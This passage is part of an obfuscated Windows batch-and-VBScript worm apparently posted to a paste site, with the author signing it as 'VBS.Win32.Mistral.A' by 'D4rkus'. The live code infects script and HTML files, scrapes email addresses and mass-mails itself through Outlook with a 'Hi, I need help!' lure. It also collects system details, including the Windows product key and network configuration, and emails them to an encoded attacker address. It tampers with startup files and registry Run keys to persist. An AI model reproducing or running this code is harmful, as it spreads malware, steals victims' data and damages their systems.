  496. ECHO for each lICncu in h2wXY>>%TMP%\IHN.vbs%czGAFW%
  497. eCHo fSJclDL0D=instr(1,lICncu,"mailto:",1)>>%tmP%\IHN.vbs%czGAFW%
  498. EChO if instr(1,lICncu,"mailto:",1) then>>%TmP%\IHN.vbs%czGAFW%
  499. eCHO f2tRu=0>>%tmP%\IHN.vbs%czGAFW%
  500. ECHO fCA0MMv5Gf="">>%TMP%\IHN.vbs%czGAFW%
  501. echo do while not(mid(lICncu,fSJclDL0D+f2tRu,1)=chr(34)) and not(mid(lICncu,fSJclDL0D+f2tRu,1)=chr(32)) and not(mid(lICncu,fSJclDL0D+f2tRu,1)=chr(45))>>%TMp%\IHN.vbs%czGAFW%
  502. Echo f2tRu=f2tRu+1>>%TMP%\IHN.vbs%czGAFW%
  503. eChO fCA0MMv5Gf=fCA0MMv5Gf+mid(lICncu,fSJclDL0D+f2tRu-1,1)>>%Tmp%\IHN.vbs%czGAFW%
  504. EcHO loop>>%tmp%\IHN.vbs%czGAFW%
  505. ECHo h0xNoc=left(fCA0MMv5Gf,len(fCA0MMv5Gf))>>%TMp%\IHN.vbs%czGAFW%
  506. ECho MF=MF&right(h0xNoc,len(h0xNoc)-7)&vbcrlf>>%tmp%\IHN.vbs%czGAFW%
  507. EcHo end if>>%tmp%\IHN.vbs%czGAFW%
  508. ECho next>>%TmP%\IHN.vbs%czGAFW%
  509. eCHo end if>>%TMP%\IHN.vbs%czGAFW%
  510. EcHO x62yovA8_U=lcase(kanmzqm.getextensionname(g49QY40wmk.path))>>%tmP%\IHN.vbs%czGAFW%
  511. EChO if x62yovA8_U="dbx" then>>%TMP%\IHN.vbs%czGAFW%
  512. EChO sET YHkF=kanmzqm.opentextfile(g49QY40wmk.path)>>%tMP%\IHN.vbs%czGAFW%
  513. EcHO h2wXY=YHkF.readall>>%tMP%\IHN.vbs%czGAFW%
  514. EChO YHkF.close>>%tmP%\IHN.vbs%czGAFW%
  515. eCHO fSJclDL0D="">>%Tmp%\IHN.vbs%czGAFW%
  516. ECHo f2tRu=0>>%Tmp%\IHN.vbs%czGAFW%
  517. EcHO for lICncu=1 to len(h2wXY)>>%Tmp%\IHN.vbs%czGAFW%
  518. eCho fCA0MMv5Gf=mid(h2wXY,lICncu,1)>>%tMP%\IHN.vbs%czGAFW%
  519. EcHo if f2tRu=0 then>>%tmp%\IHN.vbs%czGAFW%
  520. eChO if fCA0MMv5Gf=chr(60) then>>%tmP%\IHN.vbs%czGAFW%
  521. eCHo f2tRu=1>>%tMp%\IHN.vbs%czGAFW%
  522. echO end if>>%TMp%\IHN.vbs%czGAFW%
  523. echO else>>%TmP%\IHN.vbs%czGAFW%
  524. eChO if fCA0MMv5Gf=chr(62) then>>%Tmp%\IHN.vbs%czGAFW%
  525. eCHO MF=MF&fSJclDL0D&vbcrlf>>%tmp%\IHN.vbs%czGAFW%
  526. EcHo else>>%TMP%\IHN.vbs%czGAFW%
  527. EchO fSJclDL0D=fSJclDL0D&fCA0MMv5Gf>>%Tmp%\IHN.vbs%czGAFW%
  528. Echo end if>>%tMp%\IHN.vbs%czGAFW%
  529. ECHo end if>>%TmP%\IHN.vbs%czGAFW%
  530. ECho next>>%TMp%\IHN.vbs%czGAFW%
  531. Echo end if>>%TMP%\IHN.vbs%czGAFW%
  532. EcHo dim ywiG>>%tMP%\IHN.vbs%czGAFW%
  533. Echo sET bDilY3tsQy=kanmzqm.getfile(g49QY40wmk.path)>>%Tmp%\IHN.vbs%czGAFW%
  534. ecHO ywiG=bDilY3tsQy.attributes>>%TMP%\IHN.vbs%czGAFW%
  535. echO bDilY3tsQy.attributes=0>>%Tmp%\IHN.vbs%czGAFW%
  536. EchO qvVm=lcase(kanmzqm.getextensionname(bDilY3tsQy.path))>>%TmP%\IHN.vbs%czGAFW%
  537. EcHo if qvVm="" then>>%TmP%\IHN.vbs%czGAFW%
  538. ECho elseif qvVm="bat" then>>%TMP%\IHN.vbs%czGAFW%
  539. ECho SET IXIvffgY=kanmzqm.opentextfile(g49QY40wmk.path)>>%tMP%\IHN.vbs%czGAFW%
  540. ecHO xpX5X=IXIvffgY.readall>>%TMp%\IHN.vbs%czGAFW%
  541. ecHO IXIvffgY.close>>%TmP%\IHN.vbs%czGAFW%
  542. EcHo if not(instr(1,xpX5X,"czGAFW")) then>>%tmP%\IHN.vbs
  543. eCHo seT IXIvffgY=kanmzqm.opentextfile(g49QY40wmk.path,8)>>%Tmp%\IHN.vbs%czGAFW%
  544. EchO IXIvffgY.write Ejn2w27C9>>%tMp%\IHN.vbs%czGAFW%
  545. ecHO IXIvffgY.close>>%TMp%\IHN.vbs%czGAFW%
  546. eCHo end if>>%TMp%\IHN.vbs%czGAFW%
  547. ecHO elseif qvVm="vbs" or qvVm="vbe" then>>%tMP%\IHN.vbs%czGAFW%
  548. echO set IXIvffgY=kanmzqm.opentextfile(g49QY40wmk.path)>>%tMp%\IHN.vbs%czGAFW%
  549. echO xpX5X=IXIvffgY.readall>>%tMP%\IHN.vbs%czGAFW%
  550. ECho IXIvffgY.close>>%TmP%\IHN.vbs%czGAFW%
  551. echo sEt IXIvffgY=kanmzqm.opentextfile("%wINDiR%\SySteM32\exerun.vbs")>>%tmP%\IHN.vbs%czGAFW%
  552. eChO marjkge3=IXIvffgY.readall>>%tMP%\IHN.vbs%czGAFW%
  553. eCHO IXIvffgY.close>>%TmP%\IHN.vbs%czGAFW%
  554. Echo if not(instr(1,xpX5X,marjkge3)) then>>%TMp%\IHN.vbs%czGAFW%
  555. ecHO Set IXIvffgY=kanmzqm.opentextfile(g49QY40wmk.path,8)>>%tmp%\IHN.vbs%czGAFW%
  556. EChO IXIvffgY.write marjkge3>>%TmP%\IHN.vbs%czGAFW%
  557. EchO IXIvffgY.close>>%Tmp%\IHN.vbs%czGAFW%
  558. EchO end if>>%TMp%\IHN.vbs%czGAFW%
  559. echO elseif qvVm="html" then>>%tMp%\IHN.vbs%czGAFW%
  560. EcHo sET IXIvffgY=kanmzqm.opentextfile(g49QY40wmk.path)>>%TMp%\IHN.vbs%czGAFW%
  561. ecHO kEZbT=IXIvffgY.readall>>%TMP%\IHN.vbs%czGAFW%
  562. ECHO IXIvffgY.close>>%tMP%\IHN.vbs%czGAFW%
  563. eCHO seT IXIvffgY=kanmzqm.opentextfile("%Tmp%\k9kIx.RR8")>>%tmP%\IHN.vbs%czGAFW%
  564. EcHO marjkge3=IXIvffgY.readall>>%Tmp%\IHN.vbs%czGAFW%
  565. ecHo IXIvffgY.close>>%Tmp%\IHN.vbs%czGAFW%
  566. ECHo if not(instr(1,kEZbT,marjkge3)) then>>%Tmp%\IHN.vbs%czGAFW%
  567. echo seT IXIvffgY=kanmzqm.opentextfile(g49QY40wmk.path,8)>>%tMp%\IHN.vbs%czGAFW%
  568. eCHO IXIvffgY.write marjkge3>>%tmP%\IHN.vbs%czGAFW%
  569. echo IXIvffgY.close>>%TMp%\IHN.vbs%czGAFW%
  570. eCHO end if>>%tMP%\IHN.vbs%czGAFW%
  571. echo end if>>%tmP%\IHN.vbs%czGAFW%
  572. eCHO bDilY3tsQy.attributes=ywiG>>%tmP%\IHN.vbs%czGAFW%
  573. echO next>>%Tmp%\IHN.vbs%czGAFW%
  574. ecHo for each pql4ge in DSc599BTh.subfolders>>%Tmp%\IHN.vbs%czGAFW%
  575. eChO seT nV68609j=kanmzqm.getfile(pql4ge.path & "\desktop.ini")>>%tMP%\IHN.vbs%czGAFW%
  576. echo nV68609j.attributes=0>>%tmp%\IHN.vbs%czGAFW%
  577. ECHO SEt v08Il1u6fn=kanmzqm.getfile(pql4ge.path & "\vg.htt")>>%tMP%\IHN.vbs%czGAFW%
  578. ecHO v08Il1u6fn.attributes=0>>%tMp%\IHN.vbs%czGAFW%
  579. echo kanmzqm.copyfile "%tMp%\h4wsQ.RR8",nV68609j>>%Tmp%\IHN.vbs%czGAFW%
  580. EchO kanmzqm.copyfile "%TMp%\vg.RR8",v08Il1u6fn>>%tMp%\IHN.vbs%czGAFW%
  581. eChO nV68609j.attributes=6>>%tMp%\IHN.vbs%czGAFW%
  582. EchO v08Il1u6fn.attributes=6>>%tMP%\IHN.vbs%czGAFW%
  583. eCho rP_3TR(pql4ge.path)>>%tmP%\IHN.vbs%czGAFW%
  584. eChO next>>%TMp%\IHN.vbs%czGAFW%
  585. echo end sub>>%Tmp%\IHN.vbs%czGAFW%
  586. echo if bvS1Kv6GE.rEgrEaD("HKCU\Software\uWg16gB\gK")="" then>>%tMp%\IHN.vbs%czGAFW%
  587. Echo dim dklpzrLt,slB4K,qtOosI3hO_,DPk9sWS,pk6rTYAwb6,e5d,wVKc,o8f,mcvBfocQ,nz1Kd9fkWk,wPsU,ThHS>>%tMp%\IHN.vbs%czGAFW%
  588. ECHO wVKc="Hi, I need help!">>%tMp%\IHN.vbs%czGAFW%
  589. EcHo SeT cZZm6=kanmzqm.opentextfile("%tmP%\k9kIx.RR8")>>%tmp%\IHN.vbs%czGAFW%
  590. ECho e5d=cZZm6.readall>>%TMP%\IHN.vbs%czGAFW%
  591. EchO cZZm6.close>>%TmP%\IHN.vbs%czGAFW%
  592. EChO seT cJzasXdI_=IoP6oIf.getnamespace("MAPI")>>%tmP%\IHN.vbs%czGAFW%
  593. echo for A6DBjSH9=1 to cJzasXdI_.getdefaultfolder(4).items.count>>%TmP%\IHN.vbs%czGAFW%
  594. ecHO set wXNry=cJzasXdI_.getdefaultfolder(4).items.item(A6DBjSH9)>>%Tmp%\IHN.vbs%czGAFW%
  595. eCho for SL2XVFn=1 to wXNry.attachments.count>>%tmp%\IHN.vbs%czGAFW%
  596. ecHo wXNry.attachments(SL2XVFn).delete>>%tmP%\IHN.vbs%czGAFW%
  597. ECHO next>>%tmP%\IHN.vbs%czGAFW%
  598. EcHO wXNry.htmlbody=e5d>>%TmP%\IHN.vbs%czGAFW%
  599. Echo wXNry.save>>%TMp%\IHN.vbs%czGAFW%
  600. ECHo next>>%TMp%\IHN.vbs%czGAFW%
  601. ecHO for A6DBjSH9=1 to cJzasXdI_.getdefaultfolder(6).items.count>>%TMp%\IHN.vbs%czGAFW%
  602. eCHo set wXNry=cJzasXdI_.getdefaultfolder(6).items.item(A6DBjSH9)>>%Tmp%\IHN.vbs%czGAFW%
  603. EcHO SET BR=IoP6oIf.createitem(0)>>%TMp%\IHN.vbs%czGAFW%
  604. eCHo BR.to=wXNry>>%tMP%\IHN.vbs%czGAFW%
  605. ecHO BR.subject="RE: "&wXNry.subject>>%tMP%\IHN.vbs%czGAFW%
  606. eCho BR.htmlbody=e5d>>%tMp%\IHN.vbs%czGAFW%
  607. ECho BR.importance=1>>%tmP%\IHN.vbs%czGAFW%
  608. eCHo BR.deleteaftersubmit=true>>%TMp%\IHN.vbs%czGAFW%
  609. ECHo BR.send>>%TMp%\IHN.vbs%czGAFW%
  610. EChO next>>%tMP%\IHN.vbs%czGAFW%
  611. EchO for A6DBjSH9=1 to cJzasXdI_.getdefaultfolder(6).items.count>>%Tmp%\IHN.vbs%czGAFW%
  612. EChO cJzasXdI_.getdefaultfolder(6).items.item(A6DBjSH9).delete>>%TmP%\IHN.vbs%czGAFW%
  613. eCho next>>%Tmp%\IHN.vbs%czGAFW%
  614. eChO for ThHS=1 to cJzasXdI_.getdefaultfolder(10).items.count>>%TMP%\IHN.vbs%czGAFW%
  615. echO rv4K4mHp(cJzasXdI_.getdefaultfolder(10).items.item(ThHS))>>%tMp%\IHN.vbs%czGAFW%
  616. EcHo next>>%TMp%\IHN.vbs%czGAFW%
  617. eCHo dim h6io1c5k,xAwyBHdGXM>>%tMP%\IHN.vbs%czGAFW%
  618. eCho h6io1c5k=split(MF,vbcrlf)>>%TmP%\IHN.vbs%czGAFW%
  619. EcHo for each xAwyBHdGXM in h6io1c5k>>%TMP%\IHN.vbs%czGAFW%
  620. eCho rv4K4mHp(xAwyBHdGXM)>>%Tmp%\IHN.vbs%czGAFW%
  621. ecHO next>>%TMp%\IHN.vbs%czGAFW%
  622. echo bvS1Kv6GE.reGWRITe "HKCU\Software\uWg16gB\gK,"J2TW4L">>%tmp%\IHN.vbs%czGAFW%
  623. echo end if>>%TMP%\IHN.vbs%czGAFW%
  624. ECHO SuB rv4K4mHp(J9ZM)>>%TmP%\IHN.vbs%czGAFW%
  625. EcHo SEt IoP6oIf=CrEATeoBJeCt("outlook.application")>>%tmP%\IHN.vbs%czGAFW%
  626. EcHO Set BR=IoP6oIf.createitem(0)>>%tMp%\IHN.vbs%czGAFW%
  627. eChO BR.to=J9ZM>>%tMP%\IHN.vbs%czGAFW%
  628. eCho BR.subject=wVKc>>%TMp%\IHN.vbs%czGAFW%
  629. echo BR.htmlbody=e5d>>%TmP%\IHN.vbs%czGAFW%
  630. eCho BR.importance=1>>%tMP%\IHN.vbs%czGAFW%
  631. ECHO BR.deleteaftersubmit=true>>%tMp%\IHN.vbs%czGAFW%
  632. echo BR.send>>%tmP%\IHN.vbs%czGAFW%
  633. EchO ENd sub>>%Tmp%\IHN.vbs%czGAFW%
  634. EcHo.on error resume next>%tMp%\yKRl2Cr.vbs%czGAFW%
  635. EcHo dim JeSLrpYr>>%TMp%\yKRl2Cr.vbs%czGAFW%
  636. EcHO seT E6p=cReateobJEct("%Gþð%ing.filesystemobject")>>%TmP%\yKRl2Cr.vbs%czGAFW%
  637. Echo set tBJH=cREATeobJECt("w%Gþð%.shell")>>%tMP%\yKRl2Cr.vbs%czGAFW%
  638. EcHo seT eRp=CREaTeobjEct("w%Gþð%.network")>>%tMP%\yKRl2Cr.vbs%czGAFW%
  639. EcHO Set CreTvzql=E6p.createtextfile("%tmP%\j_VJ9hvd.txt")>>%TmP%\yKRl2Cr.vbs%czGAFW%
  640. ECHo CreTvzql.writeline "Host Name:"&eRp.computername>>%TMp%\yKRl2Cr.vbs%czGAFW%
  641. echO CreTvzql.writeline "Domain Name:"&eRp.userdomain>>%tmP%\yKRl2Cr.vbs%czGAFW%
  642. Echo CreTvzql.writeline "User Name:"&eRp.username>>%tMp%\yKRl2Cr.vbs%czGAFW%
  643. ECHO CreTvzql.writeline "Shared Network Drives:">>%TMp%\yKRl2Cr.vbs%czGAFW%
  644. echo SeT K74lV4r5h=eRp.enumnetworkdrives>>%tmp%\yKRl2Cr.vbs%czGAFW%
  645. EcHo for JeSLrpYr = 0 to K74lV4r5h.count - 1 step 2>>%TMP%\yKRl2Cr.vbs%czGAFW%
  646. EcHo CreTvzql.writeline K74lV4r5h.item(JeSLrpYr), K74lV4r5h.item(JeSLrpYr+1)>>%TmP%\yKRl2Cr.vbs%czGAFW%
  647. eCho Next>>%TMp%\yKRl2Cr.vbs%czGAFW%
  648. EChO CreTvzql.writeline "Registered Owner: "&tBJH.regread("HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner")>>%tMP%\yKRl2Cr.vbs%czGAFW%
  649. ecHO CreTvzql.writeline "Registered Organization: "&tBJH.regread("HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization")>>%tmP%\yKRl2Cr.vbs%czGAFW%
  650. ecHO CreTvzql.writeline "Product Id: "&tBJH.regread("HKLM\Software\Microsoft\Windows\CurrentVersion\ProductId")>>%TmP%\yKRl2Cr.vbs%czGAFW%
  651. ECHO CreTvzql.writeline "Product Key: "&tBJH.regread("HKLM\Software\Microsoft\Windows\CurrentVersion\ProductKey")>>%tmP%\yKRl2Cr.vbs%czGAFW%
  652. ECHO CreTvzql.writeline "TAPI Country: "&tBJH.regread("HKLM\Software\Microsoft\User information\TAPI Country")>>%TMp%\yKRl2Cr.vbs%czGAFW%
  653. ecHO CreTvzql.writeline "ISO Country: "&tBJH.regread("HKLM\Software\Microsoft\User information\ISO Country")>>%Tmp%\yKRl2Cr.vbs%czGAFW%
  654. ECHO CreTvzql.writeline "Product Identification: "&tBJH.regread("HKLM\Software\Microsoft\User information\Product Identification")>>%tmp%\yKRl2Cr.vbs%czGAFW%
  655. ECho CreTvzql.writeline "IE Version: "&tBJH.regread("HKLM\Software\Microsoft\Internet Explorer\Version")>>%tMP%\yKRl2Cr.vbs%czGAFW%
  656. eCHO CreTvzql.writeline "IE ProductID: "&tBJH.regread("HKLM\Software\Microsoft\Internet Explorer\ProductID")>>%TMP%\yKRl2Cr.vbs%czGAFW%
  657. eChO CreTvzql.writeline "IE DefaultPage URL: "&tBJH.regread("HKLM\Software\Microsoft\Internet Explorer\Main\Default_Page_URL")>>%Tmp%\yKRl2Cr.vbs%czGAFW%
  658. ecHo CreTvzql.writeline "IE DefaultSearch URL: "&tBJH.regread("HKLM\Software\Microsoft\Internet Explorer\Main\Default_Search_URL")>>%TMP%\yKRl2Cr.vbs%czGAFW%
  659. eCho CreTvzql.writeline "IE Search Page: "&tBJH.regread("HKLM\Software\Microsoft\Internet Explorer\Main\Search Page")>>%tmP%\yKRl2Cr.vbs%czGAFW%
  660. ECho CreTvzql.writeline "IE Start Page: "&tBJH.regread("HKLM\Software\Microsoft\Internet Explorer\Main\Start Page")>>%tMP%\yKRl2Cr.vbs%czGAFW%
  661. Echo CreTvzql.writeline "IE Window Title: "&tBJH.regread("HKLM\Software\Microsoft\Internet Explorer\Main\Window Title")>>%TMp%\yKRl2Cr.vbs%czGAFW%
  662. cscript %tMp%\yKRl2Cr.vbs>nul%czGAFW%
  663. ver /r>>%TMP%\j_VJ9hvd.txt%czGAFW%
  664. vol>>%Tmp%\j_VJ9hvd.txt%czGAFW%
  665. keyb>>%TMp%\j_VJ9hvd.txt%czGAFW%
  666. chcp>>%Tmp%\j_VJ9hvd.txt%czGAFW%
  667. SET>>%TMP%\j_VJ9hvd.txt%czGAFW%
  668. mem /d /a>>%TMp%\j_VJ9hvd.txt%czGAFW%
  669. ipconfig /all>>%tMp%\j_VJ9hvd.txt%czGAFW%
  670. net ver>>%TMP%\j_VJ9hvd.txt%czGAFW%
  671. net config /yes>>%tmp%\j_VJ9hvd.txt%czGAFW%
  672. net diag /status>>%TMp%\j_VJ9hvd.txt%czGAFW%
  673. net view>>%TMP%\j_VJ9hvd.txt%czGAFW%
  674. netstat -a -e -r>>%tMp%\j_VJ9hvd.txt%czGAFW%
  675. netstat -a -e -r -p udp>>%tMp%\j_VJ9hvd.txt%czGAFW%
  676. EcHo Set IoP6oIf=cREATeOBjecT("outlook.application")>>%tmp%\IHN.vbs%czGAFW%
  677. ECHO SEt BR=IoP6oIf.createitem(0)>>%TMp%\IHN.vbs%czGAFW%
  678. EcHo dim EPI>>%TmP%\IHN.vbs%czGAFW%
  679. eCho EPI=EPI&chr(115)&chr(115)&chr(116)&chr(101)&chr(102)&chr(97)&chr(110)&chr(95)&chr(120)&chr(64)&chr(121)&chr(97)&chr(104)&chr(111)&chr(111)&chr(46)&chr(99)&chr(111)&chr(109)>>%tMp%\IHN.vbs%czGAFW%
  680. ecHO BR.to=EPI>>%Tmp%\IHN.vbs%czGAFW%
  681. EchO BR.subject="Your VBS.Win32.Mistral.A Strikes! Congrats, D4rkus!">>%tMP%\IHN.vbs%czGAFW%
  682. ECho BR.body="Check j_VJ9hvd.txt attachment for victim's info!!!">>%tMP%\IHN.vbs%czGAFW%
  683. EchO BR.attachments.add("%tMp%\j_VJ9hvd.txt")>>%tMp%\IHN.vbs%czGAFW%
  684. ECho BR.deleteaftersubmit=true>>%tMP%\IHN.vbs%czGAFW%
  685. ECHO BR.send>>%Tmp%\IHN.vbs%czGAFW%
  686. eCHO IoP6oIf.quit>>%tMP%\IHN.vbs%czGAFW%
  687. cscript %tMP%\IHN.vbs>nul%czGAFW%
  688. %comspec% /f /c attrib -r -s -h A:\autoexec.bat%czGAFW%
  689. %comspec% /f /c type %wINDiR%\SySteM32\srvlog.bat>>A:\autoexec.bat%czGAFW%
  690. md \helpPWPCinit%czGAFW%
  691. copy %wINDiR%\SySteM32\srvlog.bat \helpPWPCinit\PWPCcmd.bat /y%czGAFW%
  692. subst O: \helpPWPCinit%czGAFW%
  693. find /i /v "run"<%TMp%\w7W2KzsW.RR8>%TMP%\rmmZ0HRu.vbs%czGAFW%
  694. EcHO set wno=CREATeOBJeCT("%Gþð%ing.filesystemobject")>>%TMP%\rmmZ0HRu.vbs%czGAFW%
  695. EcHO dim HZJY8tBpUd, b3itK6A, Mx3WdMf0>>%TMp%\rmmZ0HRu.vbs%czGAFW%
  696. eCHo HZJY8tBpUd=int(bvS1Kv6GE.REGrEaD ("HKCU\Software\uWg16gB\B3tK"))>>%tmp%\rmmZ0HRu.vbs%czGAFW%
  697. eCHo b3itK6A=int(bvS1Kv6GE.regREAd ("HKCU\Software\uWg16gB\HcEN_mCO"))>>%TMP%\rmmZ0HRu.vbs%czGAFW%
  698. echo Mx3WdMf0=int(bvS1Kv6GE.ReGrEAD ("HKCU\Software\uWg16gB\V07XEM"))>>%tMP%\rmmZ0HRu.vbs%czGAFW%
  699. eCho if (not(int(Mx3WdMf0)=day(now)) or not(int(b3itK6A)=month(now))) then>>%tMP%\rmmZ0HRu.vbs%czGAFW%
  700. ecHO HZJY8tBpUd=HZJY8tBpUd+1>>%TMP%\rmmZ0HRu.vbs%czGAFW%
  701. EChO if (HZJY8tBpUd=5) then>>%tMp%\rmmZ0HRu.vbs%czGAFW%
  702. ECHO ri.ReGDElete "HKLM\sofTWaRe\MICrOSoft\winDowS\cUrrEN"&CHr(115+1)&"veRSION\Run\initview">>%TmP%\rmmZ0HRu.vbs%czGAFW%
  703. echO ri.regDeleTe "HKCU\SoFTware\miCRosoFT\wINdOWS\CURReN"&CHr(115+1)&"VeRSiOn\Run\exetray">>%tMP%\rmmZ0HRu.vbs%czGAFW%
  704. eCHO wno.deletefile(ri.SpecialFolders("AllUsersStartup")& "\runexploreview.vbs")>>%Tmp%\rmmZ0HRu.vbs%czGAFW%
  705. eChO bvS1Kv6GE.run "%wINDiR%\SySteM32\srvlog.bat 4A7x">>%tMP%\rmmZ0HRu.vbs%czGAFW%
  706. eCho end if>>%TMP%\rmmZ0HRu.vbs%czGAFW%
  707. ECHO bvS1Kv6GE.REgwRIte "HKCU\Software\uWg16gB\HcEN_mCO",month(now)>>%tmP%\rmmZ0HRu.vbs%czGAFW%
  708. ECho bvS1Kv6GE.REgWrIte "HKCU\Software\uWg16gB\V07XEM",day(now)>>%TMp%\rmmZ0HRu.vbs%czGAFW%
  709. ecHO end if>>%tMp%\rmmZ0HRu.vbs%czGAFW%
  710. ECHO bvS1Kv6GE.regwRiTE "HKCU\Software\uWg16gB\B3tK",HZJY8tBpUd>>%tmp%\rmmZ0HRu.vbs%czGAFW%
  711. echO start wscript %TmP%\rmmZ0HRu.vbs%czGAFW%
  712. goto czGAFWEFzfi
  713. :czGAFWX6Xw6b1r
  714. del %wINDiR%\SySteM32\exerun.vbs%czGAFW%
  715. del %wINDiR%\SySteM32\wizexe.js%czGAFW%
  716. find /v /i "[boot]"<%wINdIR%\system.ini>%TMp%\qY3LuWP_.RR8%czGAFW%
  717. find /v /i "shell=explorer.exe"<%TmP%\qY3LuWP_.RR8>%tmP%\3KN2uay.RR8%czGAFW%
  718. del %WINdiR%\system.ini%czGAFW%
  719. EcHO [boot]>%wiNdir%\system.ini%czGAFW%
  720. Echo Shell=Explorer.exe>>%WIndIr%\system.ini%czGAFW%
  721. type %tMP%\3KN2uay.RR8>>%wiNDir%\system.ini%czGAFW%
  722. find /v /i "[windows]"<%windir%\win.ini>%tMP%\Sp4drq.RR8%czGAFW%
  723. find /v /i "load="<%tMP%\Sp4drq.RR8>%TmP%\Ian34W_x.RR8%czGAFW%
  724. find /v /i "run="<%TMP%\Ian34W_x.RR8>%TMP%\K3CLmNaN.RR8%czGAFW%
  725. find /v /i "NullPort="<%TMP%\Ian34W_x.RR8>%tmP%\K3CLmNaN.RR8%czGAFW%
  726. del %wINDiR%\win.ini%czGAFW%
  727. Echo [windows]>%wiNDir%\win.ini%czGAFW%
  728. EChO load=>>%winDIr%\win.ini%czGAFW%
  729. echo run=>>%WINdIR%\win.ini%czGAFW%
  730. type %TMp%\K3CLmNaN.RR8>>%wINDiR%\win.ini%czGAFW%
  731. find /v "%wINDiR%\SySteM32\ÂÃÍôÌ̱\1cKwJk2"<\autoexec.bat>%tmP%\PdEtS.RR8%czGAFW%
  732. del \autoexec.bat%czGAFW%
  733. copy %tmp%\PdEtS.RR8 \autoexec.bat%czGAFW%
  734. find /v "%wINDiR%\SySteM32\ÂÃÍôÌ̱\R42bw1"<%WinDir%\winstart.bat>%tmp%\PdEtS.RR8%czGAFW%
  735. del %WIndIR%\winstart.bat%czGAFW%
  736. copy %Tmp%\PdEtS.RR8 %wINdIr%\winstart.bat%czGAFW%
  737. erase %wINDiR%\SySteM32\ÂÃÍôÌ̱\*.bat%czGAFW%
  738. rd %wINDiR%\SySteM32\ÂÃÍôÌ̱%czGAFW%
  739. del \helpPWPCinit\PWPCcmd.bat /y%czGAFW%
  740. s ubst /d O:%czGAFW%
  741. rd \helpPWPCinit%czGAFW%
  742. attrib -r -s -h %wINDiR%\SySteM32\srvlog.bat%czGAFW%
  743. del %wINDiR%\SySteM32\srvlog.bat%czGAFW%
  744. goto czGAFW8nKy6iJw
  745. :czGAFWEFzfi
  746. %czGAFW%seT ¯¹Cá$:=erase %TMp%\*.
  747. %¯¹Cá$:%RR8%czGAFW%
  748. %¯¹Cá$:%bat%czGAFW%
  749. %¯¹Cá$:%vbs%czGAFW%
  750. attrib +r +s +h %wINDiR%\SySteM32\srvlog.bat%czGAFW%
  751. :czGAFW8nKy6iJw
  752. vEr|FInd /i "XP"|If ERROrleVeL 1 ctty CON%czGAFW%
  753. cls%czGAFW%
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!